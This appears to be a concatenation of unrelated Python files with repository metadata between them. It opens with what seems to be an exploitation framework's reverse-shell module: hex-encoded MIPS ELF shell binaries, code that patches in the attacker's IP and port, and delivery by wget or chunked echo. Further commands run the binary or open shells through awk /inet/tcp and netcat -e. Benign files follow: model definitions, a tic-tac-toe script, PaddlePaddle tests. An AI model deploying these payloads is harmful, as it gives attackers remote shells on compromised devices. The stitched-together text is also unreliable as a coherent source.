"\xf1\xff\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x14\x00\x00\x00" "\x90\x00\x40\x00\x00\x00\x00\x00\x10\x00\x02\x00\x1b\x00\x00\x00\x90\x00\x40\x00\x00\x00" "\x00\x00\x11\x00\x02\x00\x22\x00\x00\x00\x60\x01\x41\x00\x00\x00\x00\x00\x10\x00\xf1\xff" "\x2e\x00\x00\x00\x60\x01\x41\x00\x00\x00\x00\x00\x10\x00\xf1\xff\x35\x00\x00\x00\x60\x01" "\x41\x00\x00\x00\x00\x00\x10\x00\xf1\xff\x3a\x00\x00\x00\x60\x01\x41\x00\x00\x00\x00\x00" "\x10\x00\xf1\xff\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72" "\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f" "\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73" "\x73\x00" ) mips = ( # elf binary "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00" "\x00\x01\x00\x40\x00\x90\x00\x00\x00\x34\x00\x00\x01\x8c\x50\x00\x10\x00\x00\x34\x00\x20" "\x00\x02\x00\x28\x00\x06\x00\x03\x70\x00\x00\x00\x00\x00\x00\x74\x00\x40\x00\x74\x00\x40" "\x00\x74\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x01" "\x00\x00\x00\x00\x00\x40\x00\x00\x00\x40\x00\x00\x00\x00\x01\x60\x00\x00\x01\x60\x00\x00" "\x00\x05\x00\x01\x00\x00\x20\x00\x11\xf4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x41\x81\x50\x00\x00\x00\x00" # <_ftext>: "\x28\x04\xff\xff" # slti a0,zero,-1 "\x24\x02\x0f\xa6" # li v0,4006 "\x01\x09\x09\x0c" # syscall 0x42424 "\x28\x04\x11\x11" # slti a0,zero,4369 "\x24\x02\x0f\xa6" # li v0,4006 "\x01\x09\x09\x0c" # syscall 0x42424 "\x24\x0c\xff\xfd" # li t4,-3 "\x01\x80\x20\x27" # nor a0,t4,zero "\x24\x02\x0f\xa6" # li v0,4006 "\x01\x09\x09\x0c" # syscall 0x42424 "\x24\x0c\xff\xfd" # li t4,-3 "\x01\x80\x20\x27" # nor a0,t4,zero "\x01\x80\x28\x27" # nor a1,t4,zero "\x28\x06\xff\xff" # slti a2,zero,-1 "\x24\x02\x10\x57" # li v0,4183 "\x01\x09\x09\x0c" # syscall 0x42424 "\x30\x44\xff\xff" # andi a0,v0,0xffff "\x24\x02\x0f\xc9" # li v0,4041 "\x01\x09\x09\x0c" # syscall 0x42424 "\x24\x02\x0f\xc9" # li v0,4041 "\x01\x09\x09\x0c" # syscall 0x42424 "\x3c\x05\x00\x02" # lui a1,0x2 "\x34\xa5\x7a\x69" # ori a1,a1,0x7a69 "\xaf\xa5\xff\xf8" # sw a1,-8(sp) "\x3c\x05\xc0\xa8" # lui a1,0xc0a8 "\x34\xa5\x01\x37" # ori a1,a1,0x137 "\xaf\xa5\xff\xfc" # sw a1,-4(sp) "\x23\xa5\xff\xf8" # addi a1,sp,-8 "\x24\x0c\xff\xef" # li t4,-17 "\x01\x80\x30\x27" # nor a2,t4,zero "\x24\x02\x10\x4a" # li v0,4170 "\x01\x09\x09\x0c" # syscall 0x42424 "\x3c\x08\x2f\x2f" # lui t0,0x2f2f "\x35\x08\x62\x69" # ori t0,t0,0x6269 "\xaf\xa8\xff\xec" # sw t0,-20(sp) "\x3c\x08\x6e\x2f" # lui t0,0x6e2f "\x35\x08\x73\x68" # ori t0,t0,0x7368 "\xaf\xa8\xff\xf0" # sw t0,-16(sp) "\x28\x07\xff\xff" # slti a3,zero,-1 "\xaf\xa7\xff\xf4" # sw a3,-12(sp) "\xaf\xa7\xff\xfc" # sw a3,-4(sp) "\x23\xa4\xff\xec" # addi a0,sp,-20 "\x23\xa8\xff\xec" # addi t0,sp,-20 "\xaf\xa8\xff\xf8" # sw t0,-8(sp) "\x23\xa5\xff\xf8" # addi a1,sp,-8 "\x27\xbd\xff\xec" # addiu sp,sp,-20 "\x28\x06\xff\xff" # slti a2,zero,-1 "\x24\x02\x0f\xab" # li v0,4011 "\x00\x90\x93\x4c" # syscall 0x2424d # elf binary "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x73\x79\x6d\x74\x61\x62\x00\x2e" "\x73\x74\x72\x74\x61\x62\x00\x2e\x73\x68\x73\x74\x72\x74\x61\x62\x00\x2e\x72\x65\x67\x69" "\x6e\x66\x6f\x00\x2e\x74\x65\x78\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x70\x00\x00\x06\x00\x00\x00\x02\x00\x40" "\x00\x74\x00\x00\x00\x74\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04" "\x00\x00\x00\x18\x00\x00\x00\x24\x00\x00\x00\x01\x00\x00\x00\x06\x00\x40\x00\x90\x00\x00" "\x00\x90\x00\x00\x00\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00" "\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x60\x00\x00" "\x00\x2a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01" "\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x7c\x00\x00\x00\xc0\x00\x00" "\x00\x05\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\x09\x00\x00\x00\x03" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x3c\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x74\x00\x00\x00\x00\x03\x00\x00\x01\x00\x00" "\x00\x00\x00\x40\x00\x90\x00\x00\x00\x00\x03\x00\x00\x02\x00\x00\x00\x01\x00\x41\x01\x60" "\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\x08\x00\x41\x81\x50\x00\x00\x00\x00\x10\x00" "\xff\xf1\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x14" "\x00\x40\x00\x90\x00\x00\x00\x00\x10\x00\x00\x02\x00\x00\x00\x1b\x00\x40\x00\x90\x00\x00" "\x00\x00\x11\x00\x00\x02\x00\x00\x00\x22\x00\x41\x01\x60\x00\x00\x00\x00\x10\x00\xff\xf1" "\x00\x00\x00\x2e\x00\x41\x01\x60\x00\x00\x00\x00\x10\x00\xff\xf1\x00\x00\x00\x35\x00\x41" "\x01\x60\x00\x00\x00\x00\x10\x00\xff\xf1\x00\x00\x00\x3a\x00\x41\x01\x60\x00\x00\x00\x00" "\x10\x00\xff\xf1\x00\x5f\x66\x64\x61\x74\x61\x00\x5f\x67\x70\x00\x5f\x5f\x73\x74\x61\x72" "\x74\x00\x5f\x66\x74\x65\x78\x74\x00\x5f\x73\x74\x61\x72\x74\x00\x5f\x5f\x62\x73\x73\x5f" "\x73\x74\x61\x72\x74\x00\x5f\x65\x64\x61\x74\x61\x00\x5f\x65\x6e\x64\x00\x5f\x66\x62\x73" "\x73\x00" ) exploit = None arch = None lhost = None lport = None binary_name = None revshell = None def __init__(self, exploit, arch, lhost, lport): self.exploit = exploit self.arch = arch self.lhost = lhost self.lport = lport def convert_ip(self, addr): res = "" for i in addr.split("."): res += chr(int(i)) return res def convert_port(self, p): res = "%.4x" % int(p) return bytearray.fromhex(res) def generate_binary(self, lhost, lport): print_status("Generating reverse shell binary") self.binary_name = random_text(8) ip = self.convert_ip(lhost) port = self.convert_port(lport) if self.arch == 'arm': self.revshell = self.arm[:0x104] + ip + self.arm[0x108:0x10a] + port + self.arm[0x10c:] elif self.arch == 'mipsel': self.revshell = self.mipsel[:0xe4] + port + self.mipsel[0xe6:0xf0] + ip[2:] + self.mipsel[0xf2:0xf4] + ip[:2] + self.mipsel[0xf6:] elif self.arch == 'mips': self.revshell = self.mips[:0xea] + port + self.mips[0xec:0xf2] + ip[:2] + self.mips[0xf4:0xf6] + ip[2:] + self.mips[0xf8:] else: print_error("Platform not supported") def http_server(self, lhost, lport): print_status("Setting up HTTP server") server = HttpServer((lhost, int(lport)), HttpRequestHandler) server.serve_forever(self.revshell) server.server_close() def wget(self, binary, location): print_status("Using wget method") # generate binary self.generate_binary(self.lhost, self.lport) # run http server thread = threading.Thread(target=self.http_server, args=(self.lhost, self.lport)) thread.start() # wget binary print_status("Using wget to download binary") cmd = "{} http://{}:{}/{} -O {}/{}".format(binary, self.lhost, self.lport, self.binary_name, location, self.binary_name) self.exploit.execute(cmd) # execute binary sock = self.listen(self.lhost, self.lport) self.execute_binary(location, self.binary_name) # waiting for shell self.shell(sock) def echo(self, binary, location): print_status("Using echo method") # generate binary self.generate_binary(self.lhost, self.lport) path = "{}/{}".format(location, self.binary_name) size = len(self.revshell) num_parts = (size / 30) + 1 # transfer binary through echo command print_status("Using echo method to transfer binary") for i in range(0, num_parts): current = i * 30 print_status("Transferring {}/{} bytes".format(current, len(self.revshell))) block = self.revshell[current:current + 30].encode('hex') block = "\\\\x" + "\\\\x".join(a + b for a, b in zip(block[::2], block[1::2])) cmd = 'echo -ne "{}" >> {}'.format(block, path) self.exploit.execute(cmd) # execute binary sock = self.listen(self.lhost, self.lport) self.execute_binary(location, self.binary_name) # waiting for shell self.shell(sock) def awk(self, binary): print_status("Using awk method") # run reverse shell through awk sock = self.listen(self.lhost, self.lport) cmd = binary + " 'BEGIN{s=\"/inet/tcp/0/" + self.lhost + "/" + self.lport + "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'" self.exploit.execute(cmd) # waiting for shell self.shell(sock) def netcat(self, binary, shell): # run reverse shell through netcat sock = self.listen(self.lhost, self.lport) cmd = "{} {} {} -e {}".format(binary, self.lhost, self.lport, shell) self.exploit.execute(cmd) # waiting for shell self.shell(sock) def execute_binary(self, location, binary_name): path = "{}/{}".format(location, binary_name) cmd = "chmod 777 {}; {}; rm {}".format(path, path, path) thread = threading.Thread(target=self.exploit.execute, args=(cmd,)) thread.start() def listen(self, lhost, lport): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((lhost, int(lport))) sock.listen(5) return sock def shell(self, sock): print_status("Waiting for reverse shell...") client, addr = sock.accept() sock.close() print_status("Connection from {}:{}".format(addr[0], addr[1])) print_success("Enjoy your shell") t = telnetlib.Telnet() t.sock = client t.interact()

50.595876

152

0.573006

4,162

24,539

3.361365

0.096588

0.468335

0.539743

0.535239

0.648821

0.60629

0.564689

0.530593

0.494568

0.476912

0

0.31149

0.233221

24,539

484

153

50.700413

0.432026

0.123029

0

0.229268

0

0.258537

0.568784

0.434169

0.002439

0

0.003187

0

1

0.039024

false

0.002439

0.014634

0.002439

0.095122

0.053659

0

null

1

0

1

0

1

0

1

0

1

null

0

7

9655c4750065c8aab745ce56346ad3da6bed2402

196

py

Python

paz/optimization/losses/__init__.py

niqbal996/paz

f27205907367415d5b21f90e1a1d1d1ce598e889

[ "MIT" ]

300

2020-10-29T08:02:05.000Z

2022-03-30T21:47:32.000Z

paz/optimization/losses/__init__.py

albertofernandezvillan/paz

9fbd50b993f37e1e807297a29c6044c09967c9cc

[ "MIT" ]

30

2020-10-29T12:40:32.000Z

2022-03-31T14:06:35.000Z

paz/optimization/losses/__init__.py

albertofernandezvillan/paz

9fbd50b993f37e1e807297a29c6044c09967c9cc

[ "MIT" ]

62

2020-10-29T12:34:13.000Z

2022-03-29T05:21:45.000Z

from .multi_box_loss import MultiBoxLoss from .keypointnet_loss import KeypointNetLoss from .segmentation import DiceLoss from .segmentation import FocalLoss from .segmentation import JaccardLoss

32.666667

45

0.872449

23

196

7.304348

0.521739

0.285714

0.392857

0

0.102041

196

5

46

39.2

0.954545

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

96664eda008c9845b63827dabf5fba29b985a2b0

188

py

Python

models/whitebox/__init__.py

yidinghao/whitebox-lstm

dcdeaf11c8c374d200801791b59c007094f70baf

[ "MIT" ]

2

2020-11-17T21:57:24.000Z

2021-01-23T13:16:24.000Z

models/whitebox/__init__.py

yidinghao/whitebox-lstm

dcdeaf11c8c374d200801791b59c007094f70baf

[ "MIT" ]

null

models/whitebox/__init__.py

yidinghao/whitebox-lstm

dcdeaf11c8c374d200801791b59c007094f70baf

[ "MIT" ]

null

from models.whitebox.bracket import BracketRNN from models.whitebox.counter import CounterRNN from models.whitebox.sp import SPRNN, FSARNN from models.whitebox.whitebox import WhiteBoxRNN

37.6

48

0.861702

25

188

6.48

0.48

0.246914

0.444444

0

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7

96ac18b0d66457623d682bcb15d0e966f46ec30b

7,189

py

Python

models/effcientnet.py

koukyo1994/kaggle-rfcx

c3573d014d99312b58882e7b939de6c1055129b1

[ "MIT" ]

6

2021-02-18T05:18:17.000Z

2022-02-19T02:49:32.000Z

models/effcientnet.py

koukyo1994/kaggle-rfcx

c3573d014d99312b58882e7b939de6c1055129b1

[ "MIT" ]

null

models/effcientnet.py

koukyo1994/kaggle-rfcx

c3573d014d99312b58882e7b939de6c1055129b1

[ "MIT" ]

2

2021-02-18T11:31:50.000Z

2022-02-19T02:49:07.000Z

import timm import torch import torch.nn as nn import torch.nn.functional as F from efficientnet_pytorch import EfficientNet from .layers import AttBlockV2 from .utils import init_layer, interpolate, pad_framewise_output class TimmEfficientNetSED(nn.Module): def __init__(self, base_model_name: str, pretrained=False, num_classes=264): super().__init__() self.interpolate_ratio = 30 # Downsampled ratio self.base_model = timm.create_model(base_model_name, pretrained=pretrained) in_features = self.base_model.classifier.in_features modules = list(self.base_model.children()) self.base_model = nn.Sequential(*modules[:-2]) self.fc1 = nn.Linear(in_features, in_features, bias=True) self.att_block = AttBlockV2(in_features, num_classes, activation="sigmoid") self.init_weight() def init_weight(self): init_layer(self.fc1) def forward(self, input): frames_num = input.size(3) # (batch_size, channels, freq, frames) x = self.base_model(input) # (batch_size, channels, frames) x = torch.mean(x, dim=2) # channel smoothing x1 = F.max_pool1d(x, kernel_size=3, stride=1, padding=1) x2 = F.avg_pool1d(x, kernel_size=3, stride=1, padding=1) x = x1 + x2 x = F.dropout(x, p=0.5, training=self.training) x = x.transpose(1, 2) x = F.relu_(self.fc1(x)) x = x.transpose(1, 2) x = F.dropout(x, p=0.5, training=self.training) (clipwise_output, norm_att, segmentwise_output) = self.att_block(x) logit = torch.sum(norm_att * self.att_block.cla(x), dim=2) segmentwise_logit = self.att_block.cla(x).transpose(1, 2) segmentwise_output = segmentwise_output.transpose(1, 2) interpolate_ratio = frames_num // segmentwise_output.size(1) # Get framewise output framewise_output = interpolate(segmentwise_output, interpolate_ratio) framewise_output = pad_framewise_output(framewise_output, frames_num) framewise_logit = interpolate(segmentwise_logit, interpolate_ratio) framewise_logit = pad_framewise_output(framewise_logit, frames_num) output_dict = { "framewise_output": framewise_output, "segmentwise_output": segmentwise_output, "logit": logit, "framewise_logit": framewise_logit, "clipwise_output": clipwise_output } return output_dict class TimmEfficientNetSEDMax(nn.Module): def __init__(self, base_model_name: str, pretrained=False, num_classes=264): super().__init__() self.interpolate_ratio = 30 # Downsampled ratio self.base_model = timm.create_model(base_model_name, pretrained=pretrained) in_features = self.base_model.classifier.in_features modules = list(self.base_model.children()) self.base_model = nn.Sequential(*modules[:-2]) self.fc1 = nn.Linear(in_features, in_features, bias=True) self.fc_audioset = nn.Linear(in_features, num_classes, bias=True) self.init_weight() def init_weight(self): init_layer(self.fc1) init_layer(self.fc_audioset) def forward(self, input): frames_num = input.size(3) # (batch_size, channels, freq, frames) x = self.base_model(input) # (batch_size, channels, frames) x = torch.mean(x, dim=2) # channel smoothing x1 = F.max_pool1d(x, kernel_size=3, stride=1, padding=1) x2 = F.avg_pool1d(x, kernel_size=3, stride=1, padding=1) x = x1 + x2 x = F.dropout(x, p=0.5, training=self.training) x = x.transpose(1, 2) x = F.relu_(self.fc1(x)) x = F.dropout(x, p=0.5, training=self.training) segmentwise_logit = self.fc_audioset(x) (clipwise_logit, _) = torch.max(segmentwise_logit, dim=1) segmentwise_output = torch.sigmoid(segmentwise_logit) clipwise_output = torch.sigmoid(clipwise_logit) interpolate_ratio = frames_num // segmentwise_output.size(1) # Get framewise output framewise_output = interpolate(segmentwise_output, interpolate_ratio) framewise_output = pad_framewise_output(framewise_output, frames_num) framewise_logit = interpolate(segmentwise_logit, interpolate_ratio) framewise_logit = pad_framewise_output(framewise_logit, frames_num) output_dict = { "framewise_output": framewise_output, "segmentwise_output": segmentwise_output, "logit": clipwise_logit, "framewise_logit": framewise_logit, "clipwise_output": clipwise_output } return output_dict class EfficientNetSED(nn.Module): def __init__(self, base_model_name: str, pretrained=False, num_classes=264): super().__init__() self.interpolate_ratio = 30 # Downsampled ratio if pretrained: self.base_model = EfficientNet.from_pretrained(base_model_name) else: self.base_model = EfficientNet.from_name(base_model_name) in_features = self.base_model._fc.in_features self.fc1 = nn.Linear(in_features, in_features, bias=True) self.att_block = AttBlockV2(in_features, num_classes, activation="sigmoid") self.init_weight() def init_weight(self): init_layer(self.fc1) def forward(self, input): frames_num = input.size(3) # (batch_size, channels, freq, frames) x = self.base_model.extract_features(input) # (batch_size, channels, frames) x = torch.mean(x, dim=2) # channel smoothing x1 = F.max_pool1d(x, kernel_size=3, stride=1, padding=1) x2 = F.avg_pool1d(x, kernel_size=3, stride=1, padding=1) x = x1 + x2 x = F.dropout(x, p=0.5, training=self.training) x = x.transpose(1, 2) x = F.relu_(self.fc1(x)) x = x.transpose(1, 2) x = F.dropout(x, p=0.5, training=self.training) (clipwise_output, norm_att, segmentwise_output) = self.att_block(x) logit = torch.sum(norm_att * self.att_block.cla(x), dim=2) segmentwise_logit = self.att_block.cla(x).transpose(1, 2) segmentwise_output = segmentwise_output.transpose(1, 2) interpolate_ratio = frames_num // segmentwise_output.size(1) # Get framewise output framewise_output = interpolate(segmentwise_output, interpolate_ratio) framewise_output = pad_framewise_output(framewise_output, frames_num) framewise_logit = interpolate(segmentwise_logit, interpolate_ratio) framewise_logit = pad_framewise_output(framewise_logit, frames_num) output_dict = { "framewise_output": framewise_output, "segmentwise_output": segmentwise_output, "logit": logit, "framewise_logit": framewise_logit, "clipwise_output": clipwise_output } return output_dict

34.898058

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879

7,189

4.988623

0.113766

0.085519

0.050399

0.061574

0.872064

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7,189

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null

0

1

0

1

0

null

0

7

96b78bc8c3c27c4dbe8b3c27b0af4cc2e23fd612

2,536

py

Python

tictactoes/tic_tac_toe_1.py

SeanRavenhill/Python-Playground

bc638be8ec48fa54946395fd93a6944075438fb3

[ "MIT" ]

null

tictactoes/tic_tac_toe_1.py

SeanRavenhill/Python-Playground

bc638be8ec48fa54946395fd93a6944075438fb3

[ "MIT" ]

null

tictactoes/tic_tac_toe_1.py

SeanRavenhill/Python-Playground

bc638be8ec48fa54946395fd93a6944075438fb3

[ "MIT" ]

null

play = "_OOOO_X_X" print("---------") print("| " + play[0] + " " + play[1] + " " + play[2] + " |") print("| " + play[3] + " " + play[4] + " " + play[5] + " |") print("| " + play[6] + " " + play[7] + " " + play[8] + " |") print("---------") plays = [x for x in play] if play[0] == play[1] and play[1] == play[2]: # Vert Top check if play[3] == play[4] and play[4] == play[5]: # Vert Mid cross check print("Impossible") elif play[6] == play[7] and play[7] == play[8]: # Vert Low cross check print("Impossible") else: print(play[0], "wins") elif play[3] == play[4] and play[4] == play[5]: # Vert Mid check if play[0] == play[1] and play[1] == play[2]: # Vert Top cross check print("Impossible") elif play[6] == play[7] and play[7] == play[8]: # Vert Low cross check print("Impossible") else: print(play[3], "wins") elif play[6] == play[7] and play[7] == play[8]: # Vert Low check if play[0] == play[1] and play[1] == play[2]: # Vert Top cross check print("Impossible") if play[3] == play[4] and play[4] == play[5]: # Vert Mid cross check print("Impossible") else: print(play[6], "wins") elif play[0] == play[3] and play[3] == play[6]: # Hori Left check if play[1] == play[4] and play[4] == play[7]: # Hori Mid cross check print("Impossible") elif play[2] == play[5] and play[5] == play[8]: # Hori Right cross check print("Impossible") else: print(play[0], "wins") elif play[1] == play[4] and play[4] == play[7]: # Hori Mid check if play[0] == play[3] and play[3] == play[6]: # Hori Left cross check print("Impossible") elif play[2] == play[5] and play[5] == play[8]: # Hori Right cross check print("Impossible") else: print(play[1], "wins") elif play[2] == play[5] and play[5] == play[8]: # Hori Right check if play[0] == play[3] and play[3] == play[6]: # Hori Left cross check print("Impossible") elif play[1] == play[4] and play[4] == play[7]: # Hori Mid cross check print("Impossible") else: print(play[2], "wins") elif play[0] == play[4] and play[4] == play[8]: # Diag Down Left Right Check print(play[0], "wins") elif play[6] == play[4] and play[4] == play[2]: # Diag Up Left Right Check print(play[6], "wins") elif abs(plays.count("X") - plays.count("O")) >= 2: print("Impossible") elif "_" in plays[0:7] or " " in plays[0:7]: print("Game not finished") else: print("Draw")

40.253968

77

0.539826

399

2,536

3.421053

0.105263

0.102564

0.131868

0.21978

0.832234

0.778755

0.737729

0.718681

0

0.0536

0.249606

2,536

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null

0

1

0

1

0

null

0

1

0

9

737653856442575973e895d13957ebdf025eb7f2

286

py

Python

cloudsplaining/command/__init__.py

roock/cloudsplaining

5bda122de41f945e74b977ce109800fd67aa66d4

[ "BSD-3-Clause" ]

3

2021-06-08T16:05:09.000Z

2021-12-11T19:42:41.000Z

cloudsplaining/command/__init__.py

roock/cloudsplaining

5bda122de41f945e74b977ce109800fd67aa66d4

[ "BSD-3-Clause" ]

5

2020-05-06T21:04:25.000Z

2021-02-12T01:15:55.000Z

cloudsplaining/command/__init__.py

roock/cloudsplaining

5bda122de41f945e74b977ce109800fd67aa66d4

[ "BSD-3-Clause" ]

3

2021-06-17T10:02:10.000Z

2022-02-14T22:27:15.000Z

# pylint: disable=missing-module-docstring from cloudsplaining.command import create_exclusions_file from cloudsplaining.command import expand_policy from cloudsplaining.command import download from cloudsplaining.command import scan from cloudsplaining.command import scan_policy_file

40.857143

57

0.884615

35

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0.362903

0.504032

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286

6

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null

0

1

0

1

0

1

0

7

73c12a772ca191c2d01fad736a723127f9d7c741

14,507

py

Python

framework_api/test_static_executor.py

zjjlivein/continuous_integration

c8825f32136fdd425389702c37ded08d6fd28a26

[ "Apache-2.0" ]

14

2020-03-04T07:52:07.000Z

2022-02-14T01:39:14.000Z

framework_api/test_static_executor.py

zjjlivein/continuous_integration

c8825f32136fdd425389702c37ded08d6fd28a26

[ "Apache-2.0" ]

19

2020-03-04T03:52:10.000Z

2021-12-23T07:02:07.000Z

framework_api/test_static_executor.py

zjjlivein/continuous_integration

c8825f32136fdd425389702c37ded08d6fd28a26

[ "Apache-2.0" ]

26

2020-03-04T05:39:09.000Z

2022-02-14T01:43:28.000Z

# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """test static executor.""" import paddle.fluid as fluid import numpy as np import tools import paddle.fluid.compiler as compiler import os import time import platform def test_global_scope(): """ test global_scope :return: """ fluid.global_scope().var("data").get_tensor().set( np.ones((1, 2)), fluid.CPUPlace()) data = np.array(fluid.global_scope().find_var("data").get_tensor()) tools.compare(data, [[1, 1]]) def test_scope_guard(): """ test scope_guard :return: """ new_scope = fluid.Scope() with fluid.scope_guard(new_scope): fluid.global_scope().var("data").get_tensor().set( np.ones((1, 2)), fluid.CPUPlace()) data = np.array(new_scope.find_var("data").get_tensor()) tools.compare(data, [[1, 1]]) def test_Executor(): """ test Executor :return: """ try: place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.random.random(size=(10, 1)).astype('float32') for i in range(1000): loss_data = exe.run(train_program, feed={"X": x}, fetch_list=[loss.name]) assert True except Exception: assert False def test_Executor1(): """ test Executor with compileprogram :return: """ try: place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.random.random(size=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name]) assert True except Exception: assert False def test_Executor2(): """ test Executor with exe.close() :return: """ try: place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.random.random(size=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" exe.close() for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name]) assert False except Exception: assert True def test_Executor3(): """ test Executor with run() :return: """ place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" else: os.environ["CUDA_VISIBLE_DEVICES"] = "0, 1" for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name])[0] if platform.system() == "Darwin" or platform.system() == "Linux": tools.compare(loss_data, [-1.9068239, -1.9068239]) else: tools.compare(loss_data, [-1.9068239]) def test_Executor4(): """ test Executor with fetch_var_name feed_var_name :return: """ place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') hidden = fluid.layers.fc(input=data, size=10) loss = fluid.layers.mean(hidden) fluid.optimizer.SGD(learning_rate=0.01).minimize(loss) startup_program.random_seed = 1 exe.run(startup_program) x = np.ones(shape=(10, 1)).astype('float32') compiled_prog = compiler.CompiledProgram( train_program).with_data_parallel(loss_name=loss.name) if not fluid.is_compiled_with_cuda(): os.environ["CPU_NUM"] = "2" else: os.environ["CUDA_VISIBLE_DEVICES"] = "0, 1" for i in range(1000): loss_data = exe.run(compiled_prog, feed={"X": x}, fetch_list=[loss.name], feed_var_name="f", fetch_var_name="c")[0] if platform.system() == "Darwin" or platform.system() == "Linux": tools.compare(loss_data, [-1.9068239, -1.9068239]) else: tools.compare(loss_data, [-1.9068239]) def test_Executor5(): """ test Executor with use_program_cache=True :return: """ place = fluid.CUDAPlace(0) if fluid.is_compiled_with_cuda( ) else fluid.CPUPlace() exe = fluid.Executor(place) train_program = fluid.Program() startup_program = fluid.Program() startup_program.random_seed = 33 train_program.random_seed = 33 np.random.seed(33) with fluid.unique_name.guard(): with fluid.program_guard(train_program, startup_program): data = fluid.layers.data(name='X', shape=[1], dtype='float32') 